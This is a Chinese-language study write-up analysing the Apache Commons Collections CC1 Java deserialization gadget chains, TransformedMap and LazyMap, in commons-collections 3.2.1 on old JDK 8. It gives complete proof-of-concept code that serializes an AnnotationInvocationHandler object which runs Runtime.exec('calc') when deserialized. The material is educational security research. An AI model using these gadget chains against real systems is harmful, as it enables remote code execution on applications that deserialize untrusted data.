java安全-CC1链学习与分析
2022-11-09 14:36:59

0x00、前言

针对CC链的分析,主要还是以逆向思维为主(从结果分析过程),从中尽可能学习出问题的地方在哪,哪里调用的这个带问题的地方,一步步思考。

0x01、Apache Commons Collections描述

CC链即Commons Collections利用链,主要针对Commons Collections组件发现的利用链。

Apache Commons是Apache软件基金会的项目。Commons的目的是提供可重用的、开源的Java代码。
Apache Commons提供了很多工具类库,他们几乎不依赖其他第三方的类库,接口稳定,集成简单,可以大大提高编码效率和代码质量。
Apache Commons Collections 是对 java.util.Collection 的扩展。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

目前 Collections 包有两个 commons-collections 和commons-collections4,commons-collections 最新版本是3.2.2,3系列版本也是只有3.2.2是安全的,不支持泛型,目前官方已不在维护。collections4 目前最新版本是4.4,其中4.0是存在漏洞,最低要求 Java8 以上。相对于 collections 来说完全支持 Java8 的特性并且支持泛型,该版本无法兼容旧有版本,于是为了避免冲突改名为 collections4。推荐直接使用该版本。(注:两个版本可以共存,使用时需要注意)

CC1链分为两条链,一条为TransformedMap(也是最初的CC1链),一条为LazyMap,其中有的分析把TransformedMap链单独分出来作为CC链,把LazyMap链作为CC1链。也可以作为CC1的两条链,一起学习下。

0x02、环境准备

java版本:jdk8u66(cc1链要求java版本小于jdk8u71,不得不说这个版本确实有点老了)

jdk官方下载链接:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html,找到对应版本低于8u71的就行。

添加Maven项目
新建Maven项目——>pom.xml添加Commons Collections组件依赖,3系列除3.2.2版本外,其余均收该漏洞影响,添加3系列其中一个版本即可

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

导入sun包

因为cc1链需要用到sun包中的类,sun包在jdk中的代码是通过class文件反编译来的,为.class文件,查看不到源码.java文件,不便于调试,且直接观看class文件的阅读性跟java文件有出入,所以下载jdk源码sun包导入,便可查看到java源码文件,方便调试阅读

步骤:
下载jdk源码:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk
按网上步骤解压出src文件夹,再把/src/share/classes/sun文件夹放到解压出来的src文件夹根目录


在项目结构中对应jdk版本下添加包即可如下图

随后在分析过程对应maven里Commons Collections包的class文件上方提示下载源代码,下载就可以看到Commons Collections包的java源码

0x03、利用链接口及实现类

CC1链的利用点为Commons Collections包中的Transformer接口,通过下面后半段的利用链可以了解Transformer接口相关涉及实现它的ChainedTransformer类、ConstantTransformer类、InvokerTransformer类。

yso-cc1链后半段利用链
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Transformer接口

//我理解为 转换器接口
Transformer接口只有一个public Object transform(Object input)方法,返回一个被转换的Object对象

Transformer接口实现的类,包括利用链中的关键的类,这些类都实现了Transformer以及序列化serializable

ChainedTransformer类

//我理解为 链转换类
ChainedTransformer的作用为链式调用,将传入的Transformer数组依次调用每一个Transformertransform方法,将第一个的转换返回Object对象的作为下次循环的的输入对象在Transformertransform中被调用,以此循环。

ConstantTransformer

//我理解为 对象转换类
这里定义了一个iConstant对象
private final Object iConstant;

作用就是接受任何传进来的对象,并转换成定义的iConstant对象返回,相对起来很好理解。

InvokerTransformer

//我理解为 调用转换类
InvokerTransformer类的作用为获取调用的方法名参数类型函数的参数列表

调用的transform获取了对象的类,方法、并返回执行方法,类、方法参数均为输入的对象,可控,因此该类是cc1链的最重点的执行部分。

通过正常反射执行Runtime.exec()方法

通过InvokerTransformer类执行Runtime.exec()方法

poc-demo:

public static void main(String[] args) throws Exception {
//获取Runtime对象
Runtime run=Runtime.getRuntime();
//通过Object对象反射回去Runtime对象
//Object obj=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
//获取构造InvokerTransformer对象
InvokerTransformer iv=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});
//执行InvokerTransformer.transform方法
iv.transform(run);

这下很好理解InvokerTransformer这个类的就是为了获取对象以及方法和执行参数,且该对象可控。

0x04、CC1链分析

从利用链接口和实现类可知InvokerTransformer为最后最重要的执行类,因此该链的分析思路就相对清晰,反查哪些类实现了InvokerTransformer.transform()方法,输入源为反序列化readObject,也就是先搜索最后调用了InvokerTransformer.transform(Object)方法,且实现serializable序列化,以readObject为输入源的类及方法。
搜索结果有21个,除去自身测试的,还有20个,满足上述条件(调用transform(Object)、实现了反序列化接口serializable)的有6个类。

共8个方法

先学习分析一下TransformedMap链和LazyMap链,也就是CC1的两条链。

TransformedMap链

分析

TransformedMap类作用是对Map进行装饰,通过keyTransformervalueTransformer分别对输入的keyvalue通过transform()方法进行修饰,查看构造函数,接受三个参数(Map的对象、Transformer的两个对象分别为keyvalue。),将接受的key,value对象转换为本类的Transformer对象

可调用静态方法(map类型)decorate对新Map对象进行回调,对传入新的Map进行修饰,也就是说可以通过decorate方法去获取TransformedMap的对象

简单了解TransformedMap类后,现在回到利用链本身来,找到可以实现的transform(Object)的地方

三个方法

  • transformKey(Object object)
  • transformValue(Object object)
  • checkSetValue(Object value)

其中transformKeytransformValue两个方法分别获取从TransformedMap类的构造方法中传入Transformer keyTransformerTransformer valueTransformer,再分别调用keyTransformer.transform(object)valueTransformer.transform(object)

//transformKey方法
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}

//transformValue方法
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}

查看这两个方法都在哪调用


这两个方法都在put方法中进行调用,参数就为两个Object对象,传递任意一个参数都可调用对应的transformKey/Value方法,最后put放入keyvalue

利用思路:
因为TransformedMap中构造函数、transformKeytransformValue方法都是protected受保护的,无法直接声明使用,但可调用decorate公共方法进行回调向构造方法传参,通过transformKey或者transformValue传递其中任意一个参数为InvokerTransformer对象,最后通过TransformedMapput方法传入恶意函数对象达到执行命令。
即:
第一步,创建构造参数(Map的对象、Transformer的两个对象分别为keyvalue),其中key或者value可以随意创造其中一个为InvokerTransformer类对象即可
第二步,通过decorate公共方法调用构造方法创建TransformedMap对象
第三步,调用TransformedMapput方法,传递恶意函数对象,对其中key和value参数随便传入一个即可
利用方法:

但上面这两个方法都在本类Put方法进行调用,也未在其他类中进行调用,同时使用到了InvokerTransformerMap两个类的对象,因此无法通过readObject反序列化达到命令执行的目的。
注:反序列化的序列化对象只能为单个对象,无法对多个对象进行序列化。

接下来看第三个方法:checkSetValue(Object value)

同样也是返回构造方法传入的Transformer valueTransformer,然后调用transform(Object),但是由于是protected受保护,因此无法像另外两个方法一样直接调用。
再看该方法有没有其他类对其调用

发现除了本类以外的父类AbstractInputCheckedMapDecorator中的内部类MapEntrysetValue()方法对其进行了调用,该类

static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

官方对该类的描述翻译:

一个抽象基类,简化了创建地图装饰器的任务。
MapAPI很难正确修饰,并且涉及实现许多不同的类。这个类的存在是为了提供一个更简单的API。
提供了特殊的钩子方法,当对象被添加到地图时调用这些方法。通过重写这些方法,可以验证或操纵输入。除了主要的映射方法,entrySet也会受到影响,这是编写映射实现最困难的部分。
该类是包范围的,在将来的Commons Collections版本中可能会被撤回或替换

实现调用
前面步骤跟另外两个方法一样,由于不能直接调用,因此重点就在for循环里面,通过遍历HashMap键值对(entrySet()hashMap映射识图,能返回map键值对),调用setValue()方法

public static void main(String[] args) throws Exception {
//TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer)
//第一个参数Map对象
Map map=new HashMap();
map.put("1","2");
//第二个参数和第三个参数类型一致,且有一个即可调用,传入InvokerTransformer对象
InvokerTransformer iv=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});
//调用decorate实现实例化对象并调用构造函数传参,Map类型必须为<Object,Object>,否则for循环调用tm对象会导致参数类型不一致会报错
Map<Object,Object> tm= TransformedMap.decorate(map,null,iv);

for( Map.Entry entry: tm.entrySet()) {
//调用setValue,传递Runtime对象
entry.setValue(Runtime.getRuntime());
}
}

现在发现父类AbstractInputCheckedMapDecorator中的内部类MapEntrysetValue()方法对其进行了调用,下一个思路就是找到实现序列化接口并且能调用setValue()方法的

找到42个方法,其中AnnotationInvocationHandler类实现了序列化接口,同时重写了readObject方法,并且setValue()在重写的readObject方法中进行调用
其中构造函数获取两个参数,一个class类型Class type,一个Map类型Map memberValues,然后进行了type的类型判断,最后返回给变量

序列化前半段也是通过getInstance方法对type类型进行判断,判断type的类型是否为注解类的方法类型名,是的话便通过memberTypes()方法获取其成员方法名和返回方法,存在Map类型的memberTypes对象中

后半段也是最主要的for循环部分,遍历memberValues也就是构造方法传入的第二个参数(传入TransformedMap[]数组),循环获取键名,通过memberTypes.get(name)判断键名是否是注解类(Annotation类,全名java.lang.annotation.Annotation)的方法类型名,如果是的话就获取键值给value变量,这里通过键名设置注解类(Annotation类)的实例方法名即可通过条件判断
接下来继续判断if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)意思判断value的值如果不是注解类的方法或者键名的值是ExceptionProxy的实例,则通过memberValue.setValue方法修改该键名的值,这里只用键值不是注解类(Annotation类)的实例方法名即可满足条件判断,然后调用memberValue.setValue方法达到目的
可以找到注解类Annotation的实现方法(找到引用的java.lang.annotation.Annotation,Ctrl+Alt+鼠标左键点击Annotation即可找到对应的实现方法),找到其中对应有成员的任意方法

比如Generated注释类,可以put value方法名。(实际测试过程中找到的实现方法有大部分还是不能触发,只有部分类和方法才行)

现在利用链就完整了,入口点为AnnotationInvocationHandler类的反序列化readObject方法,一直到最后调用InvokerTransformer.transform(Object)方法

完整利用链

TransformedMap CC1链

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
TransformedMap.entrySet()
AbstractInputCheckedMapDecorator.MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

其中通过上述学习还没涉及到ChainedTransformer.transform()这个环节的利用方法,在构造Poc中可以学习下利用方法和原理

构造POC

理思路
1、入口点在为AnnotationInvocationHandler类的反序列化readObject方法中调用setValue()方法,但AnnotationInvocationHandler这个类未声明Public,只有通过反射进行调用。
通过反射调用AnnotationInvocationHandler类对象,并且调用构造方法,然后通过实例化向构造方法传参

//获取AnnotationInvocationHandler类对象
Class cla=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取AnnotationInvocationHandler类构造方法,参数为一个类对象和一个Map对象
Constructor cons=cla.getDeclaredConstructor(Class.class,Map.class);
//传入参数用a,b代替表示
Object obj=cons.newInstance(a,b);

2、接下来久要对传参内容进行确定,传入什么,其中a为Class类对象,b为Map对象,通过反序列化调用,从利用链的分析知道a传入的为注解类Annotation类,可以找到的Generated类的value名称,同时建立HashMap,并put键名为value,键值为任意即可绕过for循环的判断

Map map = new HashMap();
map.put("value", "aaa");
Object obj=cons.newInstance(Generated.class,b);

b为Map对象,并且该参数会执行调用到AnnotationInvocationHandlerreadObject方法中的AbstractMapEntryDecorator.MapEntry.setValue(),从而在setValue()方法中调用到TransformedMap.checkSetValue()方法,最后返回调用到TransformedMapvalueTransformer.transform()方法,valueTransformerTransformedMap构造函数的第三个参数即传入InvokerTransformer类对象,Runtime对象作为transform(Object)参数传入的值
但由于Runtime对象未实现序列化接口,无法序列化,并且valueTransformer.transform(Object)中的Object实际并不可控设置为Runtime对象值。因此利用到了ChainedTransformer类,也是上文学习中未提及实际利用方法的类,该类传入Transformer数组,并由transform方法实现循环调用。

因为Runtime类未实现序列化接口,只有通过反射实现对它的调用,即Runtime.class,再由于这个循环会有一个初识的transform(Object),其中的Object在第一次循环的时候是由调用ChainedTransformer.transform(Object)传入的(传入的重写的反序列化方法中setValue()中的值),并没有实际传入的类对象。

此时通过调用ConstantTransformer类来解决这个问题,一来可以通过它来实现返回Runtime.class对象,二来通过把他设置为TransformedMap数组的首位来规避初始调用的Object的问题,因为ConstantTransformertransform(Object)不管输入什么都返回构造方法中的对象,然后再通过反射构建Runtime对象并调用exec方法,最后执行命令。

Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);

在理解ConstantTransformertransform(Object)方法的实际原理时也挺绕,可以试着把上面的执行效果带入到该方法中,能更好的理解如何实现最后调用到InvokerTransformer方法并传入Runtime对象

通过一次一次循环把对应Object输出到下次作为输入就能理解怎么实现的了

object = new ConstantTransformer(Runtime.class).transform(123); 
//= Runtime.class transform中输入任何数字都返回Runtime对象,但还没实例化

Object = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class)
//=Runtime.class.getRuntime() 调用Runtime对象的getRuntime() 但该方法还没执行,只是获取了该方法

Object = new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}).transform(Runtime.class.getRuntime())
//=Runtime.class.getRuntime() 执行Runtime.getRuntime() 此时正式实例化了Runtime对象

Object = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.class.getRuntime().invoke())
//=Runtime.class.getRuntime().exec("calc") 执行Runtime.exec()方法

3、在实现了2步骤的一长段的利用链的相关调用,最后就是传递的b就是Transformer transformerChain = new ChainedTransformer(transformers);中的transformerChain数组

//获取AnnotationInvocationHandler类对象
Class cla=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取AnnotationInvocationHandler类构造方法,参数为一个类对象和一个Map对象
Constructor cons=cla.getDeclaredConstructor(Class.class,Map.class);
//传入参数用a,b代替表示
Object obj=cons.newInstance(Generated.class,transformerChain);

4、最后就是序列化该AnnotationInvocationHandler对象,反序列化时触发漏洞,得到最终POC

public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "aaa");
Map tmap = TransformedMap.decorate(map, null, transformerChain);
//反射获取AnnotationInvocationHandler的对象传入tmap
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object obj = declaredConstructor.newInstance(Generated.class, tmap);

//序列化写入文件
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("result.ser"));
out.writeObject(obj);

//反序列化触发漏洞
ObjectInputStream in = new ObjectInputStream(new FileInputStream("result.ser"));
in.readObject();
}

LazyMap链

分析

接下来是LazyMap链,CC1的另一条链,也是ysoserial中利用CC1的链。在分析InvokerTransformer类时说到该类为最终的执行类,找到调用InvokerTransformer.transform(Object)方法的类,其中有上文分析的TransformedMap类,还有个就是LazyMap类

该类通过构造方法传入对象并赋值给factory

调用了transform()方法的get方法

get方法中会判断参数key是否为HashMapMap的内容,如果不是Map中的内容,就创建一个value作为key的值放入Map中,给value赋值时调用了transform()方法。
get()方法在AnnotationInvocationHandler类的invoke方法中可调用,通过构造方法传入LazyMap对象然后在invoke方法中调用到LazyMap.get()方法

invoke方法的调用并不在该类重写的readObject方法中,因此入口点就有点变化,AnnotationInvocationHandler类实现了InvocationHandler动态类,这里调用invoke方法就涉及到动态代理

动态代理InvocationHandler

每一个动态代理类的调用处理程序都必须实现InvocationHandler接口,并且每个代理类的实例都关联到了实现该接口的动态代理类调用处理程序中,当我们通过动态代理对象调用一个方法时候,这个方法的调用就会被转发到实现InvocationHandler接口类的invoke方法来调用

实现方法:

[接口类] proxyMap=(接口类)Proxy.newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler invh)

例如使用Map对象进行动态代理:

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);

其中涉及到Proxy代理类,并通过newProxyInstance()实现动态代理。
newProxyInstance类:

public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler invh);

三个参数分别表示:目标对象所属类的加载器、目标对象实现的接口数组、调用接口时触发的对应方法

实现demo:

public class Proxydemo {
public static void main(String[] args) throws Exception {
class demo implements InvocationHandler{
private Map map;

public demo(Map map){
this.map=map;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("调用了invoke方法");
if(method.getName().equals("put")){
System.out.println("调用了put方法");
}
return null;
}
}
InvocationHandler in=new demo(new HashMap());
Map map=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},in);
map.put("11","11");
map.put("22","22");
}
}

可以看到map对象每执行一次方法,便会调用执行一次invoke方法,invoke方法也可以起拦截器的作用。

简单了解了动态代理的用法,接下来回到LazyMap类的调用
LazyMapget方法在AnnotationInvocationHandler类的invoke方法中可调用
因此入口点就在实现动态类调用到LazyMap的invoke方法。

完整利用链

LazyMap CC1链

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

构造POC

POC的前半段依旧采用TransformedMap利用链的代码

Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();

将传参入口变更至LazyMap类中

Map Lmap = LazyMap.decorate(map, transformerChain);

TransformedMap利用链一样通过反射调用AnnotationInvocationHandler类,然后调用InvocationHandler代理调用AnnotationInvocationHandler类的构造函数传入参数

//反射调用AnnotationInvocationHandler类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
//创建代理InvocationHandler对象调用AnnotationInvocationHandler类
InvocationHandler invohandler=(InvocationHandler)declaredConstructor.newInstance(Generated.class,Lmap);

然后创建proxy代理对象,参数分别为Map加载器Map类数组InvocationHandler对象invohandler

Map proxymap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invohandler);

再通过代理调用代理对象,执行AnnotationInvocationHandler.invoke方法

InvocationHandler invohandlerproxy=(InvocationHandler)declaredConstructor.newInstance(Generated.class,proxymap);

最后就是对InvocationHandler对象进行序列化,再反序列化触发漏洞

得到最终POC:

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChain);
//反射调用AnnotationInvocationHandler类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
//创建代理InvocationHandler对象调用AnnotationInvocationHandler类
InvocationHandler invohandler=(InvocationHandler)declaredConstructor.newInstance(Generated.class,Lmap);
//创建proxy代理对象,参数分别为Map加载器、Map类数组、InvocationHandler对象invohandler
Map proxymap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invohandler);
//通过代理调用代理对象,执行invoke方法
InvocationHandler invohandlerproxy=(InvocationHandler)declaredConstructor.newInstance(Generated.class,proxymap);

//序列化InvocationHandler对象
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("exp.ser"));
out.writeObject(invohandlerproxy);
//反序列化触发漏洞
ObjectInputStream input = new ObjectInputStream(new FileInputStream("exp.ser"));
input.readObject();
}

0x05、总结

整体来说就是找到能够执行恶意函数的方法,然后一步步查看调用链,最后找到反序列化入口,cc1链看下来就比URL链复杂很多,链路调用步骤多了很多,有些链的类还需要明白怎么实现的,LazyMap加了动态代理然后调用链更绕。
分析单从完整利用链来推导相对容易很多,但会错过很多细节以及实现原理,可能会导致当时看完明白了过后过了段时间再回想就没法理清完整的利用链,这次分析的过程花费了不少的时间,中间有很多原理细节琢磨了有点久,只是记了我认为需要细理解的地方,可能还有些小细节没些或者被跳过了没注意,后面再看到的话再补充进来吧。

0x06、参考链接

https://paper.seebug.org/1242/#commonscollections-1
P牛-Java漫谈